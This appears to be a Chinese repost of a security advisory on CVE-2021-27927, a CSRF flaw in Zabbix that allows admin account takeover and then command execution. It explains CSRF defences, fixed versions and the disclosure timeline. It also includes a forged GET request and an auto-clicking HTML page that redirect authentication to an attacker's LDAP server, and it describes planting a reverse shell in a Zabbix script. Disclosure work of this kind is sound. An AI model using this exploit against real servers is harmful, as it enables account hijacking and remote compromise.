CVE-2021-27927: Zabbix-CSRF-to-RCE

2021-04-08 10:59:37 浏览数 (1)

Summary

Zabbix是企业IT网络和应用程序监视解决方案。在对其源代码进行例行检查时,我们在Zabbix UI的身份验证组件中发现了CSRF(跨站点请求伪造)漏洞。使用此漏洞,如果未经身份验证的攻击者可以说服Zabbix管理员遵循恶意链接,则该攻击者可以接管Zabbix管理员的帐户。即使使用默认的SameSite=Laxcookie保护,此漏洞也可在所有浏览器中利用。该漏洞已在Zabbix版本4.0.28rc1、5.0.8rc1、5.2.4rc1和5.4.0alpha1中修复。

影响

此漏洞的影响很大。尽管需要用户交互才能利用此漏洞,但成功利用漏洞的后果是完全接管了Zabbix管理员帐户。对Zabbix的管理访问为攻击者提供了有关网络上其他设备的大量信息,以及在Zabbix服务器上执行任意命令的能力。在某些配置中,攻击者还可以在Zabbix监视的主机上执行任意命令。

CVSS vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

在撰写本文时,Internet上有约2万个Zabbix实例,可以通过Shodan的"html: Zabbix".找到。

修复

至少升级到Zabbix版本4.0.28rc1、5.0.8rc1、5.2.4rc1或5.4.0alpha1。

背景

CSRF漏洞的工作原理如下:

  • 首先,用户(受害者)登录到易受攻击的网站(目标)。在这种情况下,“已登录”仅表示用户的浏览器已在其中存储了目标网站的有效会话cookie或基本身份验证凭据。浏览器应用程序不一定需要打开。
  • 接下来,攻击者使用社会工程学说服受害者用户跟踪指向恶意攻击者控制的网站的链接。有多种方法可以实现此目的,例如网络钓鱼电子邮件或聊天中的链接等。
  • 当受害者访问恶意网站时,来自恶意网站的HTML/JavaScript 代码将被加载到受害者的浏览器中。然后,此代码将API请求发送到目标网站。源自恶意网站的请求对于受害人的浏览器来说是合法的,因此,受害人的浏览器将用户的会话cookie与请求一起发送。
  • 恶意请求到达目标Web应用程序。目标Web应用程序无法判断该请求来自恶意源。目标Web应用程序代表攻击者执行请求的操作。CSRF攻击通常尝试滥用与身份验证相关的操作,例如创建或修改用户或更改密码。

CSRF攻击防范

抵御CSRF攻击最常用的防御方法是使用anti-CSRF tokens。这些令牌是随机生成的数据,作为请求的一部分从应用程序的前端代码发送到后端。后端同时验证反CSRF令牌和用户的会话Cookie。令牌可以作为HTTP标头或在请求正文中传输,但不能作为Cookie传输。如果正确实施,此方法将击败CSRF攻击,因为攻击者很难制作包含正确的反CSRF令牌的伪造请求。

Zabbix使用sid在请求正文中传递的参数形式的反CSRF令牌。例如,将Zabbix Admin用户密码更新为该值的请求zabbix1如下所示:

如果sid参数丢失或不正确,此请求将失败。

Same-Sitecookie属性是另一种可以抵御CSRF攻击的措施。浏览器使用此设置来确定何时可以将Cookie作为跨站点请求的一部分传输到站点。这个属性有三个值:StrictLax,和None

  • Same-Site=Strict:切勿在跨站点请求中发送cookie。
  • Same-Site=Lax:仅将cookie作为跨站点请求的一部分发送,如果它们是GET请求并影响顶层导航,即导致更改浏览器的地址栏。单击链接被认为是顶级导航,而加载图像或脚本则不是。GET请求通常被认为是安全的,因为它们不应该改变任何后端状态。
  • Same-Site-None:随同发送Cookie,以应对所有跨站点请求。

Web应用程序开发人员可以选择Same-Site显式设置属性的值,作为在用户进行身份验证之后将cookie发送到前端的一部分。如果未明确设置该属性,则现代浏览器会将其默认值设置为Lax。Zabbix就是这种情况-该Same-Site属性未设置,并且默认为Lax

Zabbix CVE-2021-27927

如上所述,Zabbix使用anti-CSRF tokens,并且这些令牌对试图利用诸如添加和修改用户及角色之类的行为的CSRF攻击有效。但是,我们发现有一个重要的场景,其中的anti-CSRF tokens未得到验证:对应用程序身份验证设置的更新。

此表单控制用于登录Zabbix的身份验证类型,该身份验证可以是“Internal”或“ LDAP”之一。如果使用LDAP,还可以设置LDAP提供程序的详细信息,例如LDAP主机和端口,基本DN等。

处理此表单提交的后端控制器类CControllerAuthenticationUpdate禁用了令牌验证,如下所示:

此外,同样重要的是,我们发现在Zabbix中,通过POST在请求正文中提交的任何参数都可以等效地通过GET作为URL查询参数提交。这意味着缺少sid参数的以下伪造的GET请求可以与包含的合法POST请求一样有效sid

代码语言:javascript复制
GET /zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc=smoke,dc=net&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn=Admin,CN=Users,DC=smoke,DC=net&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update

上面的请求将身份验证方法更新为LDAP并设置各种LDAP属性。

开发

为了进行全面攻击,攻击者将执行以下操作:

首先,设置一个由攻击者控制的LDAP服务器,该服务器可通过目标Zabbix应用程序进行网络访问。对于我们的示例,我们使用的是10.0.229.1。的Active Directory服务器。我们还在Active Directory中为用户提供了一个名为“ Admin”的用户(与内置的Zabbix管理员用户名匹配),密码为“ Z@bb1x!”。

然后,托管一个包含恶意HTML页面的网站。对于我们的示例,我们有一个HTML页面,其中包含带有伪造的跨站点请求的链接。加载页面后,链接将通过JavaScript自动单击。这满足了“顶级导航”的要求。

代码语言:javascript复制
<html>
<body>

  <p>Any web site</p>
  <a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc=smoke,dc=net&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn=Admin,CN=Users,DC=smoke,DC=net&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
  <script>
    document.getElementById('link').click();
  </script>

</body>
</html>

最后,诱使受害的Zabbix Admin用户单击指向恶意站点的链接。一旦发生这种情况,Zabbix管理员将看到站点上的身份验证设置已自动更新,如下所示:

此时,攻击者可以使用自己的管理员用户凭据登录。顺带一提,受害人Zabbix Admin的会话在退出之前仍然保持有效。

此特定CSRF攻击的一个有趣方面是它不是盲目的。这是因为Zabbix使用测试用户和密码来验证LDAP服务器连接,这是处理身份验证设置表单提交的一部分。攻击者可以通过Zabbix应用程序连接到他/她自己的LDAP服务器来立即知道CSRF攻击是否成功。一旦测试连接建立,攻击者就可以自动登录受害者的Zabbix服务器并执行进一步的操作。

远程命令执行

一旦攻击者获得管理员访问权限,他/她就可以轻松获得远程命令执行特权,因为它是产品的内置功能。的Scripts用户界面的部分包含一个地方中的任何命令下降到被任一的zabbix服务器,服务器的zabbix代理,或一个的zabbix剂(代理人的主机上运行通过的zabbix被监视)上执行。

例如,要在Zabbix服务器上获得反向shell,攻击者可以修改内置Detect Operating Systems脚本以包括perl反向shell有效负载,如下所示:

然后从仪表板页面执行脚本:

要获得反向shell:

根据配置,攻击者还可以在服务器代理或代理上运行远程命令。更多细节在这里从的zabbix文档。

时间线

  • 2021年1月3日:向供应商披露了漏洞
  • 2021年1月13日:漏洞已由供应商在代码中修复
  • 2021年2月22日:供应商在所有受支持的版本中提供了新版本
  • 2021年3月3日:公开披露

参考

  • https://support.zabbix.com/browse/ZBX-18942
  • https://github.com/zabbix/zabbix/blob/79a8ae47e89eb0a468ccf917f19380a66938d75d/ui/app/controllers/CControllerAuthenticationUpdate.php
  • https://www.zabbix.com/release_notes
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27927

0 人点赞